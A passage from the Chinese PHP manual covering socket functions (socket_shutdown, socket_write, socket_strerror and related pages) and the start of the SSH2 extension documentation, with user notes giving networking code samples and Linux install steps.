socket_set_option($sock,SOL_SOCKET,SO_RCVBUF, $rcv_buf);
$sndbuf = socket_get_option($sock,SOL_SOCKET,SO_SNDBUF);
$rcvbuf = socket_get_option($sock,SOL_SOCKET,SO_RCVBUF);

printf("send buffer size(写缓存区大小):%sm \n",$sndbuf/1024);
printf("receive buffer size(读缓存区大小)%sm \n",$rcvbuf/1024);
?>
ckozler at kozler dot net 19-Mar-2012 07:06
It appears that Winsock does not acknowledge timeout (send and receive) on Windows.
DaveRandom 26-Nov-2010 04:13
Setting the socket timeout microseconds ('usec') does not work under Windows, at least under PHP/5.2.9:

<?php

  $timeout = array('sec'=>1,'usec'=>500000);
  socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO,$timeout);
  var_dump(socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO));

?>

Output on Windows box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(0)
}

Output on Linux box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(500000)
}
aeolianmeson at ifacfchi dot blitzeclipse dot com 26-Jun-2008 03:31
Lingering will sometimes not work when you're working with non-blocking sockets. Even if the socket is set to linger and you keep tying to close until the socket doesn't return an error and the resource is no longer identifiable as type 'Socket', the socket may STILL close without sending everything.

Therefore, in the event that you are using non-blocking sockets (which is preferable if you care at all about signaling), you should set the socket as blocking (socket_set_block()) before calling to close it. This will allow everything to flush before it returns.

Dustin Oprea
ludvig dot ericson at gmail dot com 21-Dec-2006 01:06
I would like to comment on the previous note regarding blocking sockets.
There is more to blocking sockets than waiting for data to be received when trying to be read upon, just to make example, a listening blocking socket will wait for a client to try to connect before it returns when you socket_accept() it.
drenintell 30-Apr-2005 05:19
To expand a bit more on what "tim at e2-media dot co dot nz" started.

SO_SNDTIMEO is one of the many constants you can use with socket_set_option.

See http://ca.php.net/manual/en/ref.sockets.php for the available Predefind Constants and visit http://man.he.net/man2/setsockopt for the meaning of the ones relevant.

Tim's example might seem at first a bit non-intuitive since he is using the SO_SNDTIMEO constant. Which means, if the socket has to send out data, it must do it within the limit specified - in his case 10 seconds. Usually you won't set a timeout for sending out data. Nevertheless, the example is valid, and there are situations where you need to do so.

A more intuitive use of socket_set_option would be to set a time out for a blocking socket (a socket that waits for data to be receive when read from). You would do this like so:

socket_set_option($socket,SOL_SOCKET, SO_RCVTIMEO, array("sec"=>0, "usec"=>100));

Notice that sec= 0 and usec= 100; Depending on how long you want your program to wait to recieve data, you might want to change these values.

Regards,
  drenintell
tim at e2-media dot co dot nz 16-May-2004 08:00
To set a socket timeout value (assuming you've set it blocking) use:

socket_set_option(
  $socket,
  SOL_SOCKET,  // socket level
  SO_SNDTIMEO, // timeout option
  array(
    "sec"=>10, // Timeout in seconds
    "usec"=>0  // I assume timeout in microseconds
    )
  );


别名 socket_set_option

  • ? socket_set_option
  • socket_shutdown ?
  • PHP Manual
  • Socket 函数
  • 别名 socket_set_option

socket_setopt

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_setopt — 别名 socket_set_option()

说明

此函数是该函数的别名： socket_set_option().

User Contributed Notes

There are no user contributed notes for this page.


关闭套接字接收或发送，或两者都关闭

  • ? socket_setopt
  • socket_strerror ?
  • PHP Manual
  • Socket 函数
  • 关闭套接字接收或发送，或两者都关闭

socket_shutdown

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_shutdown — 关闭套接字接收或发送，或两者都关闭

说明

socket_shutdown(Socket $socket, int $mode = 2): bool

socket_shutdown() 函数允许通过 socket 停止接收、发送或所有数据（默认）。

Note:

关联的一个或多个缓冲区可能会清空，也可能不会。

参数

socket

从 socket_create() 创建的 Socket 实例。

mode

mode 的值可以是以下之一：

mode 可用值
0 | 关闭套接字读
1 | 关闭套接字写
2 | 关闭套接字读和写

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

User Contributed Notes

Anonymous 04-Dec-2022 07:29
Shutting down is a formality two peers can do before closing their connections. It's not required, but it can help assert your I/O procedures, so it's useful.

If writing is shut down, trying to send will result in a pipe error, and the remote peer will read an empty string after receiving all other pending data.

If reading is shut down, trying to receive will return an empty string, and the remote peer will get a pipe error if they try to send.

Writing should be shut down first between two peers. Remaining data should then be read and handled. If anything is sent at this point it should be a "goodbye" (nothing that requires the remote peer to write back to you). Finally, reading can be shut down.

Selection on a shut down channel will always succeed. Similarly, the remote peer will always succeed at selecting the opposite channel.
renmengyang567 at gmail dot com 07-Apr-2019 09:24
<explain>
In this case, the TCP client is gracefully disconnected from the server

<?php

define('BUF_SIZE',10);

// create for tcp
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5200);
socket_listen($sock,1024);
$fp = fopen('./socket_shutdown.php','rb');
$clnt_sock = socket_accept($sock);

while(!feof($fp)) {
   $str = fread($fp,BUF_SIZE);
   socket_write($clnt_sock,$str,BUF_SIZE);
}

$eof = "\n";
socket_write($clnt_sock,$eof,strlen($eof));

//disconnect output stream(断开输入流)
socket_shutdown($clnt_sock,1);
$ret = socket_read($clnt_sock, 100);
printf("Message from client:%s\n",$ret);
socket_close($clnt_sock);
socket_close($sock);
?>

<?php
// for tcp-client
$clnt_sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_connect($clnt_sock, '127.0.0.1', 5200);
while (($cnt= @socket_read($clnt_sock, 10,PHP_NORMAL_READ)) !==false) {
   file_put_contents('./receive.data',$cnt,FILE_APPEND);
}
print "receive file data".PHP_EOL;
socket_write($clnt_sock, "Tank you");
socket_close($clnt_sock);
?>
recycling dot sp dot am at gmail dot com 16-Sep-2010 09:09
Shutdown and SOL_TCP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Shutdown and SOL_UDP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_UDP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Conclusion: if you are not actually connected, shutdown will fails with socket_error = 107, Transport endpoint is not connected. This is true for both TPC and UDP connection (which is suprising, UDP being a connectionless protocol). This is true no matter the value set for the how parameter.
richard dot thomas at psysolutions dot com 23-Nov-2005 10:20
That is not a good example of a graceful shutdown. One should close the sending side of the socket and continue to read until the remote end closes its sending connection.
ludvig dot ericson at gmail dot com 02-Sep-2005 01:13
Sockets should be first shutdown and then closed.
<?php
// Sample: Closing sockets gracefully
socket_shutdown($sock, 2);
socket_close($sock);
?>


返回描述套接字错误的字符串

  • ? socket_shutdown
  • socket_write ?
  • PHP Manual
  • Socket 函数
  • 返回描述套接字错误的字符串

socket_strerror

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_strerror — 返回描述套接字错误的字符串

说明

socket_strerror(int $error_code): string

socket_strerror() 将 socket_last_error() 返回的套接字错误码作为 error_code 参数，返回对应的文本解释。

Note:

虽然 socket 扩展生成的错误信息使用的是英语，但此方法会根据当前语言环境（LC_MESSAGES） 展示检索到的系统消息。

参数

error_code

可能从 socket_last_error() 产生的套接字错误码。

返回值

返回与 error_code 参数相关的错误信息。

示例

Example #1 socket_strerror() 示例

<?php
if (false == ($socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (false == (@socket_bind($socket, '127.0.0.1', 80))) {
echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
?>

以上示例的预期输出（假设脚本不是使用 root 权限运行）：

socket_bind() failed: reason: Permission denied

参见

  • socket_accept() - 接受套接字上的连接
  • socket_bind() - 给套接字绑定名字
  • socket_connect() - 开启一个套接字连接
  • socket_listen() - 监听套接字的连接
  • socket_create() - 创建一个套接字（通讯节点）

User Contributed Notes

There are no user contributed notes for this page.


向套接字写数据

  • ? socket_strerror
  • socket_wsaprotocol_info_export ?
  • PHP Manual
  • Socket 函数
  • 向套接字写数据

socket_write

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_write — 向套接字写数据

说明

socket_write(Socket $socket, string $data, ?int $length = null): int|false

函数 socket_write() 向 socket 写入 data。

参数

socket

data

要写入到缓冲区的数据。

length

可选参数 length 可以指定写入 socket 的字节长度。如果写入的字节长度大于缓冲区长度，默认将被截取为缓冲区长度。

返回值

返回成功写入 socket 的字节数 或者在失败时返回 false。可以通过调用 socket_last_error() 来检索实际的错误码。将错误码作为参数传递给 socket_strerror() 以获得错误的文本解释。

Note:

对于 socket_wirte() 来说返回 0 是完全有效的，这代表没有字节被写入。如果发生错误，务必使用 === 运算符来判断是否为 false。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。
8.0.0 | length 现在允许为 null。

注释

Note:

socket_write() 不一定会写入缓冲区全部的内容。根据网络缓冲区的条件，即使缓冲区待写入的数据很多，也可能只写入一部分，甚至是一个字节。因此，必须注意是否所有数据都写入成功。

参见

  • socket_accept() - 接受套接字上的连接
  • socket_bind() - 给套接字绑定名字
  • socket_connect() - 开启一个套接字连接
  • socket_listen() - 监听套接字的连接
  • socket_read() - 从套接字中读取最大长度的数据
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

anonymous 29-Jul-2021 12:52
sending a few mbs or more results in incomplete transfers, send data in a loop and chunks instead, socket_write reports complete write even though it is only a partial transfer, possibly because of buffer overrun somewhere.

$strlen=strlen($msg);
$totaltransferred=0;

$blocksize=10000;
for ($a=0;$a<$strlen;$a+=$blocksize){
    $part=substr($msg,$a,$blocksize);
    $transferred=socket_write($socket,$part,strlen($part));
    $totaltransferred+=$transferred;
}

if ($totaltransferred<$strlen){
    echo "incomplete transfer";
}
php at deguest dot asia 03-May-2015 08:58
I often read in php docs users not checking for the php function returned value, and in the case of socket_write, I could not see here in the comment anyone botering to read on the socket the server reply.
Then one user thought it would be a good idea to use usleep after a socket_write on a smtp connection.
Actually, if you check the server reply, not only will it give time for the server to reply before you write again on the socket, but also this is a great opportunity to check what the server replied you.
For instance, for smtp connection :
In this example MAIL_SERVER, MAIL_PORT and DEBUG are constants I defined.
<?php
function sendmail( $param )
{
    $from    = &$param[ 'from' ];
    $to      = &$param[ 'to' ];
    $message = &$param[ 'data' ];

    $isError = function( $string )
    {
        if( preg_match( '/^((\d)(\d{2}))/', $string, $matches ) )
        {
            if( $matches[ 2 ] == 4 || $matches[ 2 ] == 5 ) return( $matches[ 1 ] );
        }
        else
        {
            return( false );
        }
    };

    try
    {
        $socket = null;
        if( ( $socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP ) ) == false )
        {
            throw new Exception( sprintf( "Unable to create a socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        if( !socket_connect( $socket, MAIL_SERVER, MAIL_PORT ) )
        {
            throw new Exception( sprintf( "Unable to connect to server %s: %s", MAIL_SERVER, socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }

        if( socket_write( $socket, sprintf( "HELO %s\r\n", gethostname() ) ) === false )
        {
            throw new Exception( sprintf( "Unable to write to socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        else
        {
            if( ( $errCode = $isError( $read ) ) ) throw new Exception( "Server responded with an error code $errCode" );
        }

        if( socket_write( $socket, sprintf( "MAIL FROM: %s\r\n", $from ) ) === false )
        {
            throw new Exception( sprintf( "Unable to write to socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        else
        {
            if( ( $errCode = $isError( $read ) ) ) throw new Exception( "Server responded with an error code $errCode" );
        }
        /* And some more code, but not enough place in comment */
        return( $totalWriten );
    }
    catch( Exception $e )
    {
        $ERROR = sprintf( "Error sending mail message at line %d. ", $e->getLine() ) . $e->getMessage();
        return( false );
    }
}
divinity76 at gmail dot com 06-Feb-2015 05:14
function AddTCPChecksum(&$data){
//feel free to add some error handling for strlen($data)>65535...
$data=pack("v",strlen($data)).$data;
}
jean at briskula dot si 03-Feb-2011 03:00
Some clients (Flash's XMLSocket for example) won't fire a read event until a new line is recieved.

<?php
    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = "$msg\n\0";
        $length = strlen($msg);
        while(true) {
            $sent = socket_write($sock,$msg,$length);
            if($sent === false) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                print("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
revelable at hotmail dot com 20-Dec-2010 05:08
Here we have the same function to write a socket but with improved performance.

If the messager are not larger, they will be written entirely with a single socket_write() call. And is not needed to call the substr() function for the first bucle.

<?php
$st="Message to sent";
$length = strlen($st);

    while (true) {

        $sent = socket_write($socket, $st, $length);

        if ($sent === false) {

            break;
        }

        // Check if the entire message has been sented
        if ($sent < $length) {

            // If not sent the entire message.
            // Get the part of the message that has not yet been sented as message
            $st = substr($st, $sent);

            // Get the length of the not sented part
            $length -= $sent;

        } else {

            break;
        }

    }
?>
masterwaster at gmail dot com 26-Aug-2008 11:42
Hi,
if you got same problems like i have

<?php
@socket_write($xd, "Good Bye!\n\r");
@socket_shutdown($xd, 2);
@socket_close($xd);
?>

wont'tx send "Good Bye!\n\r" to the opened socket.

but if you put a
usleep or something like echo "";
between write and shutdown its working.
webmaster at you-are-infected dot com 23-Aug-2006 10:27
If you connect to a Server in a way like you do with telnet or some similar protokoll you may have problems with sending data to the server. I found out that at some servers there is a different between:

<?php

    socket_write ($my_socket, $line, strlen ($line));
    socket_write ($my_socket, "\r\n", strlen ("\r\n"));

?>
witch worked at least, and
<?php
    socket_write ($my_socket, $line."\r\n", strlen ($line."\r\n"));
?>
wich made the server stop sending any data.

I hope this helps to save a lot of time. I needed about two days to find out, that this was the problem ;)
gtk at linux dot online dot no 20-Aug-2002 04:43
from http://www.manualy.sk/sock-faq/unix-socket-faq-2.html
read() is equivalent to recv() with a flags parameter of 0. Other values for the flags parameter change the behaviour of recv(). Similarly, write() is equivalent to send() with flags == 0.


导出 WSAPROTOCOL_INFO 结构体

  • ? socket_write
  • socket_wsaprotocol_info_import ?
  • PHP Manual
  • Socket 函数
  • 导出 WSAPROTOCOL_INFO 结构体

socket_wsaprotocol_info_export

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_export — 导出 WSAPROTOCOL_INFO 结构体

说明

socket_wsaprotocol_info_export(Socket $socket, int $process_id): string|false

导出 WSAPROTOCOL_INFO 结构体到共享内存中，并返回 socket_wsaprotocol_info_import() 使用的标识符。导出的 ID 仅对给定参数 process_id 指定的进程有效。

Note: 此方法仅在 Windows 上可用。

参数

socket

Socket 实例。

process_id

将要导入套接字的进程 ID。

返回值

返回用于导入的标识符， 或者在失败时返回 false

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

参见

  • socket_wsaprotocol_info_import() - 从另一个进程导入套接字
  • socket_wsaprotocol_info_release() - 释放已导出的 WSAPROTOCOL_INFO 结构体

User Contributed Notes

There are no user contributed notes for this page.


从另一个进程导入套接字

  • ? socket_wsaprotocol_info_export
  • socket_wsaprotocol_info_release ?
  • PHP Manual
  • Socket 函数
  • 从另一个进程导入套接字

socket_wsaprotocol_info_import

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_import — 从另一个进程导入套接字

说明

socket_wsaprotocol_info_import(string $info_id): Socket|false

导入之前从另一个进程导出的套接字。

Note: 此方法仅在 Windows 上可用。

参数

info_id

调用 socket_wsaprotocol_info_export() 返回的 ID。

返回值

成功时返回 Socket 实例， 或者在失败时返回 false

更新日志

版本 | 说明
8.0.0 | 成功时，该函数现在返回一个 Socket 实例；在此之前，返回的是 resource。

参见

  • socket_wsaprotocol_info_export() - 导出 WSAPROTOCOL_INFO 结构体

User Contributed Notes

There are no user contributed notes for this page.


释放已导出的 WSAPROTOCOL_INFO 结构体

  • ? socket_wsaprotocol_info_import
  • Socket ?
  • PHP Manual
  • Socket 函数
  • 释放已导出的 WSAPROTOCOL_INFO 结构体

socket_wsaprotocol_info_release

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_release — 释放已导出的 WSAPROTOCOL_INFO 结构体

说明

socket_wsaprotocol_info_release(string $info_id): bool

释放 info_id 对应的共享内存。

Note: 此方法仅在 Windows 上可用。

参数

info_id

调用 socket_wsaprotocol_info_export() 返回的 ID。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • socket_wsaprotocol_info_export() - 导出 WSAPROTOCOL_INFO 结构体

User Contributed Notes

There are no user contributed notes for this page.


Socket 类

(PHP 8)

简介

从 PHP 8.0.0 开始替换 Socket 资源的完全不透明类。

类摘要

final class Socket {
}

User Contributed Notes

There are no user contributed notes for this page.


AddressInfo 类

(PHP 8)

简介

从 PHP 8.0.0 开始替换 AddressInfo 资源的完全不透明类。

类摘要

final class AddressInfo {
}

User Contributed Notes

There are no user contributed notes for this page.


Secure Shell2

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • SSH2 函数
    • ssh2_auth_agent — Authenticate over SSH using the ssh agent
    • ssh2_auth_hostbased_file — Authenticate using a public hostkey
    • ssh2_auth_none — Authenticate as "none"
    • ssh2_auth_password — Authenticate over SSH using a plain password
    • ssh2_auth_pubkey_file — Authenticate using a public key
    • ssh2_connect — Connect to an SSH server
    • ssh2_disconnect — Close a connection to a remote SSH server
    • ssh2_exec — Execute a command on a remote server
    • ssh2_fetch_stream — Fetch an extended data stream
    • ssh2_fingerprint — Retrieve fingerprint of remote server
    • ssh2_forward_accept — Accept a connection created by a listener
    • ssh2_forward_listen — Bind a port on the remote server and listen for connections
    • ssh2_methods_negotiated — Return list of negotiated methods
    • ssh2_poll — Poll the channels/listeners/streams for events
    • ssh2_publickey_add — Add an authorized publickey
    • ssh2_publickey_init — Initialize Publickey subsystem
    • ssh2_publickey_list — List currently authorized publickeys
    • ssh2_publickey_remove — Remove an authorized publickey
    • ssh2_scp_recv — Request a file via SCP
    • ssh2_scp_send — Send a file via SCP
    • ssh2_send_eof — Send EOF to stream
    • ssh2_sftp_chmod — Changes file mode
    • ssh2_sftp_lstat — Stat a symbolic link
    • ssh2_sftp_mkdir — Create a directory
    • ssh2_sftp_readlink — Return the target of a symbolic link
    • ssh2_sftp_realpath — Resolve the realpath of a provided path string
    • ssh2_sftp_rename — Rename a remote file
    • ssh2_sftp_rmdir — Remove a directory
    • ssh2_sftp_stat — Stat a file on a remote filesystem
    • ssh2_sftp_symlink — Create a symlink
    • ssh2_sftp_unlink — Delete a file
    • ssh2_sftp — Initialize SFTP subsystem
    • ssh2_shell — Request an interactive shell
    • ssh2_tunnel — Open a tunnel through a remote server

User Contributed Notes

zelnaga+php at gmail dot com 25-Feb-2009 12:45
if you're trying to connect to an ssh server in an environment where the ssh2 extension cannot be installed this pure-php implementation may be helpful:

http://phpseclib.sourceforge.net/documentation/net.html


简介

Bindings to the » libssh2 library which provide access to resources (shell, remote exec, tunneling, file transfer) on a remote machine using a secure cryptographic transport.

User Contributed Notes

There are no user contributed notes for this page.


需求

The » OpenSSL and » libssh2 libraries are required. Ensure that the development libraries are installed, where a typical package name might be openssl-dev.

Version 1.2 or newer of the libssh2 library is required, although it's possible newer releases of pecl/ssh2 may require newer versions (see the release notes).

The ssh2_auth_agent() function will only be available with libssh >= 1.2.3.

support for stream_set_timeout() to channel streams will only be available with libssh >= 1.2.9.

Libssh2 comes in two flavours: gcrypt or openssl. Some Linux distributions build libssh2 with the gcrypt library, some use openssl. Libssh2 has some issues when compiled with gcrypt, please use openssl.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/ssh2.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

cary dot lewis at gmail dot com 12-Sep-2021 07:49
On centos 8 and rockylinux:

 dnf install php-ssh2
info at kgsw dot de 16-Jul-2021 04:21
on linux debian like (ubuntu) a simple install will also load 'libssh2-1'
$ sudo apt-get update && sudo apt-get install php-ssh2

$ sudo apache2ctl graceful
should make it usable

use phpinfo() function, some sections are now showing additional "ssh2" parts:
- Intro section with new items for "ssh2"
- - Additional .ini files parsed
- - Registered PHP Streams
- ssh2 (new section)
- - showing "SSH2 support - enabled"
kurdtpage at gmail dot com 22-Jun-2018 01:34
The SSH2 binary for Windows (php_ssh2.dll) can be found here: http://pecl.php.net/package/ssh2/1.1.2/windows
pedr0 02-Jun-2017 12:55
Steps for installing on CentOS Linux 7

After having a full webserver running, install packages libssh2.x86_64 and php-pecl-ssh2.x86_64

1. yum install libssh2.x86_64 php-pecl-ssh2.x86_64
2. systemctl restart httpd.service
stanislav dot eckert at vizson dot de 09-Aug-2016 01:00
[Editor's note: unless you have special demands, use the appropriate deps package from <http://windows.php.net/downloads/php-sdk/>.]

SSH2 for Windows is not available from the authors of the extension. But compiled binaries are available from the Apache Lounge (which is recommended by the php.net website too).

Link for PHP 5.3, 5.4, 5.5, 5.6 and 7.0:
https://www.apachelounge.com/viewtopic.php?t=6359

This binaries contain a lot (maybe even all?) for Windows compiled PHP extensions, like the SSH2 extension.

Please note that it is also highly recommended to use their Windows binary builds for the Apache HTTP server from here: https://www.apachelounge.com/download/

Older versions can be choosen from the left menu (VC11, VC10, etc.) if required.

php.net also recommends to use the binary builds from the Apache Lounge.

Maybe this helps developers, who work with Windows and can't find or compile some extensions themself.
domenico dot campagnolo at gmail dot com 08-Aug-2016 03:00
On Ubuntu 16.04 LTS
- PHP 5.6.24-1+deb.sury.org~xenial+1

Using terminal as a root
     apt install php-ssh2
     service apache2 restart
Ders 15-May-2016 09:47
Steps for installing the extension package on Ubuntu 14.04.

Very similar to dreadwestern at gmail dot com recipe, but enable ssh2 in PHP:

> sudo apt-get install libssh2-php
>  php5enmod ssh2
> sudo /etc/init.d/apache2 restart
stanislav dot eckert at vizson dot de 26-Jan-2016 03:15
Since version 0.12 (released 2012-10-15) there is a binary version for Windows.

See here: http://pecl.php.net/package/ssh2/0.12/windows

I tested it with PHP 5.5.29 (32-bit, thread-safe) on my Windows 7 machine.
warkirasep dot puloh at gmail dot com 22-Dec-2015 06:11
Installation For Centos 5.11 x86_64

1. Update your repo

wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el5.rf.x86_64.rpm

rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt

rpm -K rpmforge-release-0.5.3-1.el5.rf.*.rpm

rpm -i rpmforge-release-0.5.3-1.el5.rf.*.rpm

2. yum install gcc php-devel php-pear libssh2 libssh2-devel
3. pecl install -f ssh2
4. Enable extension from php.ini configuration

extension=ssh2.so

5. Restart HTTPD

/etc/init.d/httpd restart

6. Chek PHP module

php -m

Good Luck
francewhoa+php dot net at ubertus dot ca 21-Nov-2015 11:47
Steps to install "ssh2" on Debian Jessie 8

1. Using Terminal as Root. Run the following command to install the extension package.

apt-get install php5-ssh2

2. Restart Apache2 server

service apache2 restart
sadhooklay AT gmail.com 27-Oct-2015 11:04
Installing on Ubuntu 14.0.4

    sudo pecl channel-update pecl.php.net
    sudo apt-get install libssh2-1-dev
    sudo pecl install -a ssh2-0.12
    echo 'extension=ssh2.so' | sudo tee /etc/php5/mods-available/ssh2.ini > /dev/null
    sudo php5enmod ssh2
warpman at gmail dot com 18-Nov-2014 04:10
Installing this module for use with CentOS 5.?? or 6.?

1. Install your favorite PHP RPM packages.  Make sure that one of your favorite packages is pear, so pecl gets installed in-tow.

2. Find and install *RPMS* of libssh2 of a version >= 1.2, get both the base lib package (libssh2-1.2.*.rpm) and the devel package that includes headers (libssh2-devel-1.2.*.rpm) of the EXACT SAME VERSION.  Finding these packages took a few minutes of googling, and I invite an editor that has a trusted source for these to attach URLs as appropriate. (Yes, the version below is ancient)

# rpm -ivh libssh2-1.2.6-1.el5.rf.x86_64.rpm libssh2-devel-1.2.6-1.el5.rf.x86_64.rpm

3. Install the PHP module via pecl
# pecl install ssh2-0.12

4. Make PHP see the newly-installed extension
# echo "extension=ssh2.so" > /etc/php.d/ssh2.ini

5. Restart apache
zizifu at gmail dot com 28-Aug-2012 07:58
CentOS 6.2 64bit Installation Steps:

1. download the libssh2 package from http://libssh2.org, command as following:
tar vxzf libssh2-1.4.2.tar.gz
cd libssh2-1.4.2
./configure
make
make install

2. download the php-ssh2 package from http://pecl.php.net/package/ssh2:

tar vxzf ssh2-0.11.3
cd ssh2-0.11.3
phpize
./configure --with-ssh2
make
make install

and the ssh2.so file will copy into /usr/lib64/php/modules
check it.

3. modify the php.ini

vi /etc/php.ini

add the "extension=ssh2.so" to the extension part of php.ini

4. check the environment of php, use phpinfo();

5. enjoy
dreadwestern at gmail dot com 26-Jul-2012 02:47
Steps for installing the extension package on Debian systems:

> sudo apt-get install libssh2-php
> sudo /etc/init.d/apache2 restart
imedina at grosshat dot com 09-Dec-2010 02:09
Using PECL it must be specified the channel, since the beta version has to be choosen instead of stable one:

$ pecl install ssh2 channel://pecl.php.net/ssh2-version
chris at 3menandarecorder dot com 11-Sep-2008 12:28
To help someone avoid the headaches I did for a week. SSH2 functions have problems with the ssh2-beta & libssh2-0.18 even after patching with said patches on the internet.

ssh_exec will work fine
ssh2_shell will not work

In order to use ssh2_shell I had to roll back to libssh2-0.14 in order to get ssh2_shell function to work properly
arie dot mail at gmail dot com 10-Sep-2008 11:56
Just a little note: when compiling this package after modifying the ssh2.c, do not use pecl build as it will not create an ssh2.so file (although it says it succeeded), use:

phpize
./configure --with-ssh2
make

you then need to copy the ssh2.so file into your extension dir if it didn't do so already.


资源类型

This extension defines the following resource types:

  • SSH2 Session
  • SSH2 Listener
  • SSH2 SFTP
  • SSH2 Publickey Subsystem (as of ssh2 0.10)

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SSH2_FINGERPRINT_MD5 (int)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as an MD5 hash.
SSH2_FINGERPRINT_SHA1 (int)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as an SHA1 hash.
SSH2_FINGERPRINT_HEX (int)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as a string of hexits.
SSH2_FINGERPRINT_RAW (int)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as a raw string of 8-bit characters.
SSH2_TERM_UNIT_CHARS (int)
Flag to ssh2_shell() specifying that width and height are provided as character sizes.
SSH2_TERM_UNIT_PIXELS (int)
Flag to ssh2_shell() specifying that width and height are provided in pixel units.
SSH2_DEFAULT_TERM_WIDTH (int)
Default terminal width requested by ssh2_shell().
SSH2_DEFAULT_TERM_HEIGHT (int)
Default terminal height requested by ssh2_shell().
SSH2_DEFAULT_TERM_UNIT (int)
Default terminal units requested by ssh2_shell().
SSH2_STREAM_STDIO (int)
Flag to ssh2_fetch_stream() requesting STDIO subchannel.
SSH2_STREAM_STDERR (int)
Flag to ssh2_fetch_stream() requesting STDERR subchannel.
SSH2_DEFAULT_TERMINAL (string)
Default terminal type (e.g. vt102, ansi, xterm, vanilla) requested by ssh2_shell().
SSH2_POLLIN (int)
SSH2_POLLEXT (int)
SSH2_POLLOUT (int)
SSH2_POLLERR (int)
SSH2_POLLHUP (int)
SSH2_POLLNVAL (int)
SSH2_POLL_SESSION_CLOSED (int)
SSH2_POLL_CHANNEL_CLOSED (int)
SSH2_POLL_LISTENER_CLOSED (int)

User Contributed Notes

There are no user contributed notes for this page.


SSH2 函数

Table of Contents

  • ssh2_auth_agent — Authenticate over SSH using the ssh agent
  • ssh2_auth_hostbased_file — Authenticate using a public hostkey
  • ssh2_auth_none — Authenticate as "none"
  • ssh2_auth_password — Authenticate over SSH using a plain password
  • ssh2_auth_pubkey_file — Authenticate using a public key
  • ssh2_connect — Connect to an SSH server
  • ssh2_disconnect — Close a connection to a remote SSH server
  • ssh2_exec — Execute a command on a remote server
  • ssh2_fetch_stream — Fetch an extended data stream
  • ssh2_fingerprint — Retrieve fingerprint of remote server
  • ssh2_forward_accept — Accept a connection created by a listener
  • ssh2_forward_listen — Bind a port on the remote server and listen for connections
  • ssh2_methods_negotiated — Return list of negotiated methods
  • ssh2_poll — Poll the channels/listeners/streams for events
  • ssh2_publickey_add — Add an authorized publickey
  • ssh2_publickey_init — Initialize Publickey subsystem
  • ssh2_publickey_list — List currently authorized publickeys
  • ssh2_publickey_remove — Remove an authorized publickey
  • ssh2_scp_recv — Request a file via SCP
  • ssh2_scp_send — Send a file via SCP
  • ssh2_send_eof — Send EOF to stream
  • ssh2_sftp_chmod — Changes file mode
  • ssh2_sftp_lstat — Stat a symbolic link
  • ssh2_sftp_mkdir — Create a directory
  • ssh2_sftp_readlink — Return the target of a symbolic link
  • ssh2_sftp_realpath — Resolve the realpath of a provided path string
  • ssh2_sftp_rename — Rename a remote file
